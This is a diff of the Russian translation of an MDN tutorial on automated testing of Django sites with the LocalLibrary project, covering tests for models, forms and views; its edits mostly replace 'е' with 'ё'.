@@ -18,7 +18,7 @@ translation_of: Learn/Server-side/Django/Testing
 
 
        {{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}
        
 
-
        Сайты, в процессе развития и разработки, становится все сложнее тестировать вручную. Кроме такого тестирования, сложными становятся внутренние взаимодействия между компонентами - внесение небольшого изменения в одной части приложения влияет на другие. При этом, чтобы все продолжало работать нужно вносить все больше и больше изменений и, желательно так, чтобы не добавлялись новые ошибки. Одним из способов который позволяет смягчить последствия добавления изменений, является внедрение в разработку автоматического тестирования - оно должно просто и надежно запускаться каждый раз, когда вы вносите изменения в свой код. Данное руководство рассматривает вопросы автоматизации юнит-тестирования вашего сайта при помощи фреймворка Django для тестов.
        
+
        Сайты, в процессе развития и разработки, становится все сложнее тестировать вручную. Кроме такого тестирования, сложными становятся внутренние взаимодействия между компонентами - внесение небольшого изменения в одной части приложения влияет на другие. При этом, чтобы все продолжало работать нужно вносить все больше и больше изменений и, желательно так, чтобы не добавлялись новые ошибки. Одним из способов который позволяет смягчить последствия добавления изменений, является внедрение в разработку автоматического тестирования - оно должно просто и надёжно запускаться каждый раз, когда вы вносите изменения в свой код. Данное руководство рассматривает вопросы автоматизации юнит-тестирования вашего сайта при помощи фреймворка Django для тестов.
        
 
 
        
  
   
        
    Требования:Завершить изучение всех предыдущих разделов, включая Django Руководство Часть 6: Обобщенные отображения списков и детальной информацииЗавершить изучение всех предыдущих разделов, включая Django Руководство Часть 6: Обобщённые отображения списков и детальной информации
   
        
   
        
    Цель:
 
 
 
 
 
 
 
 
 
 
        
@@ -37,7 +37,7 @@ translation_of: Learn/Server-side/Django/Testing
 
 
        LocalLibrary в настоящий момент содержит страницы для показа списков всех книг, авторов, подробной информации о книгах Book и авторах Author, а также страницу для обновления информации об экземпляре книги BookInstance и, кроме того, страницы для создания, обновления и удаления записей модели Author (и модели Book, в том случае, если вы выполнили домашнее задание в руководстве работа с формами). Даже в случае небольшого сайта, ручной переход на каждую страницу и беглая проверка того, что все работает как следует, может занять несколько минут. В процессе внесения изменений и роста сайта требуемое время для проведения проверок будет только возрастать. Если бы мы продолжили в том же духе, то в какой-то момент на проведение тестов мы тратили бы больше времени, чем на написание кода и внесение изменений.
        
 
-
        Автоматические тесты могут серьезно помочь нам справиться с этой проблемой! Очевидными преимуществами в таком случае являются значительно меньшие временные затраты на проведение тестов, их подробное выполнение, а кроме того, тесты имеют постоянную функциональность, или последовательность действий  (человек никогда не сможет тестировать так надежно!). В связи с быстротой их выполнения автоматические тесты можно выполнять более часто, а если они провалятся, то укажут на соответствующее место (где что-то пошло не так как ожидалось).
        
+
        Автоматические тесты могут серьёзно помочь нам справиться с этой проблемой! Очевидными преимуществами в таком случае являются значительно меньшие временные затраты на проведение тестов, их подробное выполнение, а кроме того, тесты имеют постоянную функциональность, или последовательность действий  (человек никогда не сможет тестировать так надёжно!). В связи с быстротой их выполнения автоматические тесты можно выполнять более часто, а если они провалятся, то укажут на соответствующее место (где что-то пошло не так как ожидалось).
        Кроме того, автоматические тесты могут действовать как первый "настоящий пользователь" вашего кода, заставляя вас строго следить за объявлениями и документированием поведения вашего сайта. Тесты часто являются основой для создания примеров вашего кода и документации. По этим причинам иногда некоторые процессы разработки программного обеспечения начинаются с определения тестов и их реализации, а уже после этого следует написание кода который должен иметь соответствующее поведение (так называемая разработка на основе тестов и на основе поведения).
        
 
@@ -45,13 +45,13 @@ translation_of: Learn/Server-side/Django/Testing
 
 
        Типы тестирования
        
 
-
        Существует несколько типов, уровней, классификаций тестов и тестовых приемов. Наиболее важными автоматическими тестами являются:
        
+
        Существует несколько типов, уровней, классификаций тестов и тестовых приёмов. Наиболее важными автоматическими тестами являются:
        
  
        Юнит-тесты
        
  
        Проверяют функциональное поведение для отдельных компонентов, часто классов и функций.
        
  
        Регрессионное тестирование
        
- 
        Тесты которые воспроизводят исторические ошибки (баги). Каждый тест вначале запускается для проверки того, что баг был исправлен, а затем перезапускается для того, чтобы убедиться, что он не был внесен снова с появлением новых изменений в коде.
        
+ 
        Тесты которые воспроизводят исторические ошибки (баги). Каждый тест вначале запускается для проверки того, что баг был исправлен, а затем перезапускается для того, чтобы убедиться, что он не был внесён снова с появлением новых изменений в коде.
        
  
        Интеграционные тесты
        
  
        Проверка совместной работы групп компонентов. Данные тесты отвечают за совместную работу между компонентами, не обращая внимания на внутренние процессы в компонентах. Они проводятся как для простых групп компонентов, так и для целых веб-сайтов.
        
 
        
@@ -62,11 +62,11 @@ translation_of: Learn/Server-side/Django/Testing
 
 
        Что Django предоставляет для тестирования?
        
 
-
        Тестирование сайта это сложная задача, потому что она состоит их нескольких логических слоев – от  HTTP-запроса и запроса к моделям, до валидации формы и их обработки, а кроме того, рендеринга шаблонов страниц.
        
+
        Тестирование сайта это сложная задача, потому что она состоит их нескольких логических слоёв – от  HTTP-запроса и запроса к моделям, до валидации формы и их обработки, а кроме того, рендеринга шаблонов страниц.
        Django предоставляет фреймворк для создания тестов, построенного на основе иерархии классов, которые, в свою очередь, зависят от стандартной библиотеки Python  unittest. Несмотря на название, данный фреймворк подходит и для юнит-, и для интеграционного тестирования. Фреймворк Django добавляет методы API и инструменты, которые помогают тестировать как веб так и, специфическое для Django, поведение. Это позволяет вам имитировать URL-запросы, добавление тестовых данных, а также проводить проверку выходных данных ваших приложений. Кроме того, Django предоставляет API (LiveServerTestCase) и инструменты для применения различных фреймворков тестирования, например вы можете подключить популярный фреймворк Selenium для имитации поведения пользователя в реальном браузере.
        
 
-
        Для написания теста вы должны наследоваться от любого из классов тестирования Django (или юниттеста)  (SimpleTestCase, TransactionTestCase, TestCase, LiveServerTestCase), а затем реализовать отдельные методы проверки кода (тесты это функции-"утверждения", которые проверяют, что результатом выражения являются значения True или False, или что два значения равны и так далее). Когда вы запускаете тест, фреймворк выполняет соответствующие тестовые методы в вашем классе-наследнике. Методы тестирования запускаются независимо друг от друга, начиная с метода настроек и/или завершаясь методом разрушения (tear-down), определенном в классе, как показано ниже.
        
+
        Для написания теста вы должны наследоваться от любого из классов тестирования Django (или юниттеста)  (SimpleTestCase, TransactionTestCase, TestCase, LiveServerTestCase), а затем реализовать отдельные методы проверки кода (тесты это функции-"утверждения", которые проверяют, что результатом выражения являются значения True или False, или что два значения равны и так далее). Когда вы запускаете тест, фреймворк выполняет соответствующие тестовые методы в вашем классе-наследнике. Методы тестирования запускаются независимо друг от друга, начиная с метода настроек и/или завершаясь методом разрушения (tear-down), определённом в классе, как показано ниже.
        class YourTestClass(TestCase):
 
@@ -85,7 +85,7 @@ translation_of: Learn/Server-side/Django/Testing
         self.assertTrue(False)
 
        
 
-
        Самый подходящий базовый класс для большинства тестов это django.test.TestCase.  Этот класс создает чистую базу данных перед запуском своих методов, а также запускает каждую функцию тестирования в его собственной транзакции. У данного класса также имеется тестовый Клиент, который вы можете использовать для имитации взаимодействия пользователя с кодом на уровне отображения. В следующих разделах мы сконцентрируемся на юнит-тестах, которые будут созданы на основе класса TestCase.
        
+
        Самый подходящий базовый класс для большинства тестов это django.test.TestCase.  Этот класс создаёт чистую базу данных перед запуском своих методов, а также запускает каждую функцию тестирования в его собственной транзакции. У данного класса также имеется тестовый Клиент, который вы можете использовать для имитации взаимодействия пользователя с кодом на уровне отображения. В следующих разделах мы сконцентрируемся на юнит-тестах, которые будут созданы на основе класса TestCase.
        
 
        Примечание: Класс django.test.TestCase очень удобен, но он может приводить к замедленной работе в некоторых случаях (не для каждого теста необходимо настраивать базу данных, или имитировать взаимодействие с отображением). Когда вы познакомитесь с работой данного класса, то сможете заменить некоторые из ваших тестов на более простые классы тестирования.
        
@@ -95,7 +95,7 @@ translation_of: Learn/Server-side/Django/Testing
 
 
        Вы должны тестировать все аспекты, касающиеся вашего кода, но не библиотеки, или функциональность, предоставляемые Python, или Django.
        
 
-
        Например, рассмотрим модель Author, определенную ниже. Вам не нужно проверять тот факт, что first_name и last_name были сохранены в базу данных как CharField, потому что за это отвечает непосредственно Django (хотя конечно, на практике  в течение разработки вы косвенно будете проверять данную функциональность). Тоже касается и, например, проверки того, что поле date_of_birth является датой, поскольку это тоже часть реализации Django.
        
+
        Например, рассмотрим модель Author, определённую ниже. Вам не нужно проверять тот факт, что first_name и last_name были сохранены в базу данных как CharField, потому что за это отвечает непосредственно Django (хотя конечно, на практике  в течение разработки вы косвенно будете проверять данную функциональность). Тоже касается и, например, проверки того, что поле date_of_birth является датой, поскольку это тоже часть реализации Django.
        
 
 
        Вы должны проверить текст для меток (First name, Last_name, Date of birth, Died), и размер поля, выделенного для текста (100 символов), потому что они являются частью вашей разработки и чем-то, что может сломаться/измениться в будущем.
        
 
@@ -117,11 +117,11 @@ translation_of: Learn/Server-side/Django/Testing
 
        Примечание: Проницательные читатели могут заметить, что мы можем некоторым образом ограничить дату рождения и смерти какими-то граничными значениями и выполнять проверку, чтобы дата смерти шла после рождения. В Django данное ограничение может быть добавлено к вашим классам форм (хотя вы и можете определить валидаторы для этих полей, они будут проявлять себя только на уровне форм, а не уровне модели).
        
 
        
 
-
        Ну что же, усвоив данную информацию, давайте перейдем к процессу определения и запуска тестов.
        
+
        Ну что же, усвоив данную информацию, давайте перейдём к процессу определения и запуска тестов.
        Обзор структуры тестов
        
 
-
        Перед тем как мы перейдем к тому "что тестировать", давайте кратко взглянем на моменты где и как определяются тесты.
        
+
        Перед тем как мы перейдём к тому "что тестировать", давайте кратко взглянем на моменты где и как определяются тесты.
        Django использует юнит-тестовый модуль - встроенный "обнаружитель" тестов, который находит тесты в текущей рабочей директории, в любом файле с шаблонным именем test*.py. Предоставляя соответствующие имена файлов, вы можете работать с любой структурой которая вас устраивает. Мы рекомендуем создать пакет для вашего тестирующего кода и, следовательно, отделить файлы моделей, отображений, форм и любые другие, от кода который будет использоваться для тестов. Например:
        
 
@@ -136,7 +136,7 @@ translation_of: Learn/Server-side/Django/Testing
 
        В проекте LocalLibrary создайте файловую структуру, указанную выше. Файл __init__.py должен быть пустым (так мы говорим Питону, что данная директория является пакетом). Вы можете создать три тестовых файла при помощи копирования и переименования файла-образца /catalog/tests.py.
        
-
        Примечание: Скелет тестового файла /catalog/tests.py был создан автоматически когда мы выполняли построение скелета сайта Django. Является абсолютно "легальным" действием - поместить все ваши тесты в данный файл, тем не менее, если вы проводите тесты "правильно", то вы очень быстро придете к очень большому и неуправляемому файлу тестирования.
        
+
        Примечание: Скелет тестового файла /catalog/tests.py был создан автоматически когда мы выполняли построение скелета сайта Django. Является абсолютно "легальным" действием - поместить все ваши тесты в данный файл, тем не менее, если вы проводите тесты "правильно", то вы очень быстро придёте к очень большому и неуправляемому файлу тестирования.
        
 
 
        Можете удалить данный файл, поскольку больше он нам не понадобится.
        
 
        
@@ -148,7 +148,7 @@ translation_of: Learn/Server-side/Django/Testing
 # Поместите ваш код тестов здесь
 
 
-
        Вы часто будете добавлять соответствующий тестовый класс для каждой модели/отображения/формы с отдельными методами проверки каждой отдельной функциональности. В каких-то случаях вы захотите иметь отдельный класс для тестирования какого-то особого варианта работы, или функционала, с отдельными функциями тестирования, которые будут проверять элемент/элементы данного варианта (например, мы можем создать отдельный класс тестирования для проверки того, что поле валидно, - функции данного класса будут проверять каждый неверный вариант использования). Опять же, структура файлов и пакетов полностью зависит от вас и будет лучше если вы будете ее придерживаться.
        
+
        Вы часто будете добавлять соответствующий тестовый класс для каждой модели/отображения/формы с отдельными методами проверки каждой отдельной функциональности. В каких-то случаях вы захотите иметь отдельный класс для тестирования какого-то особого варианта работы, или функционала, с отдельными функциями тестирования, которые будут проверять элемент/элементы данного варианта (например, мы можем создать отдельный класс тестирования для проверки того, что поле валидно, - функции данного класса будут проверять каждый неверный вариант использования). Опять же, структура файлов и пакетов полностью зависит от вас и будет лучше если вы будете её придерживаться.
        Добавьте тестовый класс, показанный ниже, в нижнюю часть файла. Данный класс демонстрирует как создать класс тестирования при помощи наследования от TestCase.
        
 
@@ -200,7 +200,7 @@ translation_of: Learn/Server-side/Django/Testing
 
 
        python3 manage.py test
        
 
-
        Таким образом мы найдем в текущей директории все файлы с именем test*.py и запустим все тесты (у нас имеются несколько файлов для тестирования, но на данный момент, только /catalog/tests/test_models.py содержит какие-либо тесты). По умолчанию, тесты сообщат что-нибудь, только в случае провала.
        
+
        Таким образом мы найдём в текущей директории все файлы с именем test*.py и запустим все тесты (у нас имеются несколько файлов для тестирования, но на данный момент, только /catalog/tests/test_models.py содержит какие-либо тесты). По умолчанию, тесты сообщат что-нибудь, только в случае провала.
        Запустите тесты из корневой папки сайта LocalLibrary. Вы должны увидеть вывод, который похож на следующий.
        
 
@@ -239,7 +239,7 @@ Destroying test database for alias 'default'...
        Следующий раздел показывает как запускать отдельные тесты и как контролировать процесс вывода информации.
        
 
-
        Еще больше тестовой информации
        
+
        Ещё больше тестовой информации
        Если вы желаете получать больше информации о тестах вы должны изменить значение параметра verbosity. Например, для вывода списка успешных и неуспешных тестов (и всю информацию о том, как прошла настройка базы данных) вы можете установить значение verbosity равным "2":
        
 
@@ -247,7 +247,7 @@ Destroying test database for alias 'default'...
        Доступными значениями для verbosity являются  0, 1 (значение по умолчанию), 2 и 3.
        
 
-
        Запуск определенных тестов
        
+
        Запуск определённых тестов
        Если вы хотите запустить подмножество тестов, тогда вам надо указать полный путь к вашему пакету, модулю/подмодулю, классу наследникуTestCase, или методу:
        
 
@@ -262,14 +262,14 @@ python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one
 
        Теперь, когда мы знаем как запустить наши тесты и что именно мы должны тестировать, давайте рассмотрим некоторые практические примеры.
        
-
        Примечание: Мы не будем расписывать все тесты, а просто покажем вам пример того, как они должны работать и что еще вы можете с ними сделать.
        
+
        Примечание: Мы не будем расписывать все тесты, а просто покажем вам пример того, как они должны работать и что ещё вы можете с ними сделать.
        
 
        Модели
        Как было отмечено ранее, мы должны тестировать все то, что является частью нашего кода, а не библиотеки/код, которые уже были протестированы командами разработчиков Django, или Python.
        
 
-
        Рассмотрим модель Author. Мы должны провести тесты текстовых меток всех полей, поскольку, даже несмотря на то, что не все они определены, у нас есть проект, в котором сказано, что все их значения должны быть заданы. Если мы не проведем их тестирование, тогда мы не будем знать, что данные метки действительно содержат необходимые значения. Мы уверены в том, что Django создаст поле заданной длины, таким образом наши тесты будут проверять нужный нам размер поля, а заодно и его содержимое.
        
+
        Рассмотрим модель Author. Мы должны провести тесты текстовых меток всех полей, поскольку, даже несмотря на то, что не все они определены, у нас есть проект, в котором сказано, что все их значения должны быть заданы. Если мы не проведём их тестирование, тогда мы не будем знать, что данные метки действительно содержат необходимые значения. Мы уверены в том, что Django создаст поле заданной длины, таким образом наши тесты будут проверять нужный нам размер поля, а заодно и его содержимое.
        class Author(models.Model):
     first_name = models.CharField(max_length=100)
@@ -283,9 +283,9 @@ python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one
     def __str__(self):
         return '%s, %s' % (self.last_name, self.first_name)
        
 
-
        Откройте файл /catalog/tests/test_models.py и замените все его содержимое кодом, приведенном во фрагменте для тестирования модели Author (фрагмент представлен ниже).
        
+
        Откройте файл /catalog/tests/test_models.py и замените все его содержимое кодом, приведённом во фрагменте для тестирования модели Author (фрагмент представлен ниже).
        
 
-
        В первой строке мы импортируем класс TestCase, а затем наследуемся от него, создавая класс с описательным именем (AuthorModelTest), оно поможет нам идентифицировать места провалов в тестах во время вывода информации на консоль. Затем мы создаем метод setUpTestData(), в котором создаем объект автора, который мы будем использовать в тестах, но нигде не будем изменять.
        
+
        В первой строке мы импортируем класс TestCase, а затем наследуемся от него, создавая класс с описательным именем (AuthorModelTest), оно поможет нам идентифицировать места провалов в тестах во время вывода информации на консоль. Затем мы создаём метод setUpTestData(), в котором создаём объект автора, который мы будем использовать в тестах, но нигде не будем изменять.
        from django.test import TestCase
 
@@ -385,7 +385,7 @@ AssertionError: 'Died' != 'died'
 
 
        Смысл проведения тестов для форм тот же, что и для моделей; надо проверить весь собственный код и другие особенности проекта, но не то, что касается фреймворка, или сторонних библиотек.
        
 
-
        В основном это означает, что вы должны протестировать то, что формы имеют соответствующие поля и что они показываются с соответствующими метками и вспомогательными текстами. Вам не надо проверять то, что Django правильно осуществляет валидацию полей (если только вы не создали свое собственное поле и валидацию) — то есть вам не надо проверять что, например, поле ввода электронного адреса принимает только электронного адреса. Но вы должны протестировать каждую дополнительную валидацию, которую вы добавляете для полей и любые сообщения, который ваш код генерирует в случае ошибок.
        
+
        В основном это означает, что вы должны протестировать то, что формы имеют соответствующие поля и что они показываются с соответствующими метками и вспомогательными текстами. Вам не надо проверять то, что Django правильно осуществляет валидацию полей (если только вы не создали своё собственное поле и валидацию) — то есть вам не надо проверять что, например, поле ввода электронного адреса принимает только электронного адреса. Но вы должны протестировать каждую дополнительную валидацию, которую вы добавляете для полей и любые сообщения, который ваш код генерирует в случае ошибок.
        
 
 
        Рассмотрим форму для обновления книг. Она имеет только одно поле обновления даты, которое будет иметь текстовую метку и вспомогательный текст, который вам надо проверить.
        
 
@@ -401,7 +401,7 @@ AssertionError: 'Died' != 'died'
         #Проверка, что дата не в прошлом.
         if data < datetime.date.today():
             raise ValidationError(_('Invalid date - renewal in past'))
-        #Если дата в "далеком" будущем (+4 недели)
+        #Если дата в "далёком" будущем (+4 недели)
         if data > datetime.date.today() + datetime.timedelta(weeks=4):
             raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
 
@@ -455,7 +455,7 @@ class RenewBookFormTest(TestCase):
 
 
        Первые две функции проверяют текст который должны содержать поля label и help_text. Доступ к полю мы получаем при помощи словаря (то есть, form.fields['renewal_date']). Отметим, что мы должны проверять содержит ли метка значение None, иначе в поле текста метки вы увидите "None".
        
 
-
        Оставшиеся функции проверяют валидность дат, то есть их нахождение внутри определенного интервала, а также невалидность для значений, которые находятся вне заданного интервала. Для получения исходного значения мы использовали функцию получения текущей даты (datetime.date.today()), а также функцию datetime.timedelta() (которая принимает определенное число дней, или недель). Затем мы просто создали форму, передавая ей наши данные и проверяя ее на валидность.
        
+
        Оставшиеся функции проверяют валидность дат, то есть их нахождение внутри определённого интервала, а также невалидность для значений, которые находятся вне заданного интервала. Для получения исходного значения мы использовали функцию получения текущей даты (datetime.date.today()), а также функцию datetime.timedelta() (которая принимает определённое число дней, или недель). Затем мы просто создали форму, передавая ей наши данные и проверяя её на валидность.
        
 
 
        
 
        Примечание: В данном примере мы не использовали ни базу данных, ни тестовый клиент. Рассмотрите модификацию этих тестов при помощи класса SimpleTestCase.
        
@@ -463,22 +463,22 @@ class RenewBookFormTest(TestCase):
 
        Нам также надо бы проверять возникновение ошибок, которые появляются если форма не валидна. Но, обычно, это относится к процессу вывода информации, таким образом, мы позаботимся об этом в следующем разделе.
        
 
        
 
-
        На этом с формами можно закончить; у нас имеются и другие тесты, но они были созданы обобщенными классами отображения для редактирования! Запустите тесты и убедитесь, что наш код все еще им соответствует!
        
+
        На этом с формами можно закончить; у нас имеются и другие тесты, но они были созданы обобщёнными классами отображения для редактирования! Запустите тесты и убедитесь, что наш код все ещё им соответствует!
        
 
 
        Отображения
        
 
-
        Для проверки поведения отображения мы используем тестовый клиент Django Client. Данный класс действует как упрощенный веб-браузер который мы применяем для имитации  GET и POST запросов и проверки ответов. Про ответы мы можем узнать почти все, начиная с низкоуровневого HTTP (итоговые заголовки и коды статусов) и вплоть до применяемых шаблонов, которые используются для HTML-рендера, а также контекста, который передается в соответствующий  шаблон. Кроме того, мы можем отследить последовательность перенаправлений (если имеются), проверить URL-адреса и коды статусов на каждом шаге. Все это позволит нам проверить, что каждое отображение выполняет то, что ожидается.
        
+
        Для проверки поведения отображения мы используем тестовый клиент Django Client. Данный класс действует как упрощённый веб-браузер который мы применяем для имитации  GET и POST запросов и проверки ответов. Про ответы мы можем узнать почти все, начиная с низкоуровневого HTTP (итоговые заголовки и коды статусов) и вплоть до применяемых шаблонов, которые используются для HTML-рендера, а также контекста, который передаётся в соответствующий  шаблон. Кроме того, мы можем отследить последовательность перенаправлений (если имеются), проверить URL-адреса и коды статусов на каждом шаге. Все это позволит нам проверить, что каждое отображение выполняет то, что ожидается.
        
 
-
        Давайте начнем с одного из простейших отображений которое возвращает список всех авторов. Вы можете его увидеть по URL-адресу /catalog/authors/ (данный URL-адрес можно найти в разделе приложения catalog,  в файле настроек urls.py по имени  'authors').
        
+
        Давайте начнём с одного из простейших отображений которое возвращает список всех авторов. Вы можете его увидеть по URL-адресу /catalog/authors/ (данный URL-адрес можно найти в разделе приложения catalog,  в файле настроек urls.py по имени  'authors').
        
 
 
        class AuthorListView(generic.ListView):
     model = Author
     paginate_by = 10
 
        
 
-
        Поскольку это обобщенное отображение списка, то почти все за нас делает Django. Если вы доверяете Django, то единственной вещью, которую вам нужно протестировать, является переход к данному отображению по указанному URL-адресу. Таким образом, если вы применяете методику TDD (test-driven development, разработка через тесты), то начните проект с написания тестов, которые будут проверять, что данное отображение выводит всех авторов и, к тому же, например, блоками по 10.
        
+
        Поскольку это обобщённое отображение списка, то почти все за нас делает Django. Если вы доверяете Django, то единственной вещью, которую вам нужно протестировать, является переход к данному отображению по указанному URL-адресу. Таким образом, если вы применяете методику TDD (test-driven development, разработка через тесты), то начните проект с написания тестов, которые будут проверять, что данное отображение выводит всех авторов и, к тому же, например, блоками по 10.
        
 
-
        Откройте файл /catalog/tests/test_views.py замените все его содержимое на следующий код теста для класса AuthorListView. Как и ранее, мы импортируем нашу модель и некоторые полезные классы. В методе setUpTestData() мы задаем число объектов класса Author которые мы тестируем при постраничном выводе.
        
+
        Откройте файл /catalog/tests/test_views.py замените все его содержимое на следующий код теста для класса AuthorListView. Как и ранее, мы импортируем нашу модель и некоторые полезные классы. В методе setUpTestData() мы задаём число объектов класса Author которые мы тестируем при постраничном выводе.
        
 
 
        from django.test import TestCase
 
@@ -525,15 +525,15 @@ class AuthorListViewTest(TestCase):
         self.assertTrue(resp.context['is_paginated'] == True)
         self.assertTrue( len(resp.context['author_list']) == 3)
        
 
-
        Все тесты используют клиент (принадлежащего классу TestCase, от которого мы наследовались) для имитации GET-запроса и получения ответа (resp). Первая версия проверяет заданный URL-адрес (заметьте, - просто определенный путь без указания домена), в то время как второй генерирует URL-адрес при помощи его имени, указанного в настройках.
        
+
        Все тесты используют клиент (принадлежащего классу TestCase, от которого мы наследовались) для имитации GET-запроса и получения ответа (resp). Первая версия проверяет заданный URL-адрес (заметьте, - просто определённый путь без указания домена), в то время как второй генерирует URL-адрес при помощи его имени, указанного в настройках.
        
 
 
        resp = self.client.get('/catalog/authors/')
 resp = self.client.get(reverse('authors'))
 
        
 
-
        Когда мы получаем ответ, то мы извлекаем код статуса, используемый шаблон, "включен" ли постраничный вывод, количество элементов в подмножестве (на странице) и общее число элементов.
        
+
        Когда мы получаем ответ, то мы извлекаем код статуса, используемый шаблон, "включён" ли постраничный вывод, количество элементов в подмножестве (на странице) и общее число элементов.
        
 
-
        Наиболее интересной переменной является resp.context, которая является объектом контекста, который передается шаблону из отображения. Он (объект контекста) очень полезен для тестов, поскольку позволяет нам убедиться, что наш шаблон получает все данные которые ему необходимы. Другими словами мы можем проверить, что мы используем правильный шаблон с данными, которые проделывают долгий путь проверок чтобы соответствовать данному шаблону.
        
+
        Наиболее интересной переменной является resp.context, которая является объектом контекста, который передаётся шаблону из отображения. Он (объект контекста) очень полезен для тестов, поскольку позволяет нам убедиться, что наш шаблон получает все данные которые ему необходимы. Другими словами мы можем проверить, что мы используем правильный шаблон с данными, которые проделывают долгий путь проверок чтобы соответствовать данному шаблону.
        
 
 
        Отображения и регистрация пользователей
        
 
@@ -543,7 +543,7 @@ resp = self.client.get(reverse('authors'))
 
 class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
     """
-    Обобщенный класс отображения списка взятых книг текущим пользователем
+    Обобщённый класс отображения списка взятых книг текущим пользователем
     """
     model = BookInstance
     template_name ='catalog/bookinstance_list_borrowed_user.html'
@@ -555,7 +555,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
 
        Добавьте тестовый код следующего фрагмента в /catalog/tests/test_views.py. В нем, для создания нескольких аккаунтов и  объектов BookInstance которые будут использоваться в дальнейших тестах, мы используем метод SetUp() (вместе с соответствующими книгами и другими записями). Половина книг бронируется  тестовыми пользователями, но в начале для них всех мы устанавливаем статус "доступно". Использование метода SetUp() предпочтительнее чем setUpTestData(), поскольку в дальнейшем мы будем модифицировать некоторые объекты.
        
 
 
        
-
        Примечание: Метод setUp() создает книгу с заданным языком Language, но ваш код может не включать в себя модель Language, поскольку это было домашним заданием. В таком случае просто закомментируйте соответствующие строки. Поступите также и в следующем разделе, посвященном RenewBookInstancesViewTest.
        
+
        Примечание: Метод setUp() создаёт книгу с заданным языком Language, но ваш код может не включать в себя модель Language, поскольку это было домашним заданием. В таком случае просто закомментируйте соответствующие строки. Поступите также и в следующем разделе, посвящённом RenewBookInstancesViewTest.
        
 
        
 
 
        import datetime
@@ -611,7 +611,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase):
         self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html')
 
        
 
-
        Если пользователь не залогирован то, чтобы убедиться в том что отображение перейдет на страницу входа (логирования), мы используем метод assertRedirects, что продемонстрировано в методе test_redirect_if_not_logged_in(). Затем мы осуществляем вход для пользователя и проверяем что полученный статус status_code равен 200 (успешно). 
        
+
        Если пользователь не залогирован то, чтобы убедиться в том что отображение перейдёт на страницу входа (логирования), мы используем метод assertRedirects, что продемонстрировано в методе test_redirect_if_not_logged_in(). Затем мы осуществляем вход для пользователя и проверяем что полученный статус status_code равен 200 (успешно). 
        
 
 
        Остальные тесты проверяют, соответственно, что наше отображение показывает только те книги которые взяты текущим пользователем. Скопируйте код, показанный ниже, в нижнюю часть предыдущего класса.
        
 
@@ -678,7 +678,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase):
 
 
        Тестирование форм и отображений
        
 
-
        Процесс тестирования отображений с формами немного более сложен, чем в представленных ранее случаях, поскольку вам надо протестировать большее количество кода: начальное состояние показа формы, показ формы и ее данных в случае ошибок, а также показ формы в случае успеха. Хорошей новостью является то, что мы применяем клиент для тестирования практически тем же способом, как мы делали это в случае отображений, которые отвечают только за вывод информации.
        
+
        Процесс тестирования отображений с формами немного более сложен, чем в представленных ранее случаях, поскольку вам надо протестировать большее количество кода: начальное состояние показа формы, показ формы и её данных в случае ошибок, а также показ формы в случае успеха. Хорошей новостью является то, что мы применяем клиент для тестирования практически тем же способом, как мы делали это в случае отображений, которые отвечают только за вывод информации.
        
 
 
        В качестве демонстрации давайте напишем некоторые тесты для отображения, которые отвечают за обновление книг(renew_book_librarian()):
        
 
@@ -694,7 +694,7 @@ def renew_book_librarian(request, pk):
     # Если это POST-запрос, тогда обработать данные формы
     if request.method == 'POST':
 
-        # Создать объект формы и заполнить ее данными из запроса (связывание/биндинг):
+        # Создать объект формы и заполнить её данными из запроса (связывание/биндинг):
         form = RenewBookForm(request.POST)
 
         # Проверка валидности формы:
@@ -706,7 +706,7 @@ def renew_book_librarian(request, pk):
             # переход по URL-адресу:
             return HttpResponseRedirect(reverse('all-borrowed') )
 
-    # Если это GET-запрос (или что-то еще), то создаем форму по умолчанию
+    # Если это GET-запрос (или что-то ещё), то создаём форму по умолчанию
     else:
         proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
         form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,})
@@ -715,7 +715,7 @@ def renew_book_librarian(request, pk):
 
 
        Нам надо проверить что к данному отображению имеют доступ только те пользователи, которые имеют разрешение типа can_mark_returned, а кроме того, что пользователи перенаправляются на страницу ошибки HTTP 404  если они пытаются обновить экземпляр книги  BookInstance, который не существует. Мы должны проверить что начальное значение формы соответствует дате через 3 недели в будущем, а также то, что если форма прошла валидацию, то мы переходим на страницу отображения книг "all-borrowed" (забронированных). Для тестов, отвечающих за проверку "провалов", мы также должны удостовериться что они отправляют соответствующие сообщения об ошибках.
        
 
-
        В нижнюю часть файла /catalog/tests/test_views.py добавьте класс тестирования (показан во фрагменте, ниже). Он создает двух пользователей и два экземпляра книги, но только один пользователь получает необходимый доступ к соответствующему отображению. Код, который "присваивает" соответствующий доступ, выделен в коде жирным:
        
+
        В нижнюю часть файла /catalog/tests/test_views.py добавьте класс тестирования (показан во фрагменте, ниже). Он создаёт двух пользователей и два экземпляра книги, но только один пользователь получает необходимый доступ к соответствующему отображению. Код, который "присваивает" соответствующий доступ, выделен в коде жирным:
        
 
 
        from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned.
 
@@ -750,7 +750,7 @@ class RenewBookInstancesViewTest(TestCase):
         return_date= datetime.date.today() + datetime.timedelta(days=5)
         self.test_bookinstance2=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user2, status='o')
        
 
-
        В нижнюю часть класса тестирования добавьте следующие методы (из следующего фрагмента). Они проверяют, что только пользователь с соответствующим доступом (testuser2) имеет доступ к отображению. Мы проверяем все случаи: когда пользователь не залогинился, когда залогинился, но не имеет соответствующего доступа, когда имеет доступ, но не является заемщиком книги (тест должен быть успешным), а также, что произойдет если попытаться получить доступ к книге BookInstance которой не существует. Кроме того, мы проверяем то, что используется правильный (необходимый) шаблон.
        
+
        В нижнюю часть класса тестирования добавьте следующие методы (из следующего фрагмента). Они проверяют, что только пользователь с соответствующим доступом (testuser2) имеет доступ к отображению. Мы проверяем все случаи: когда пользователь не залогинился, когда залогинился, но не имеет соответствующего доступа, когда имеет доступ, но не является заёмщиком книги (тест должен быть успешным), а также, что произойдёт если попытаться получить доступ к книге BookInstance которой не существует. Кроме того, мы проверяем то, что используется правильный (необходимый) шаблон.
        
 
 
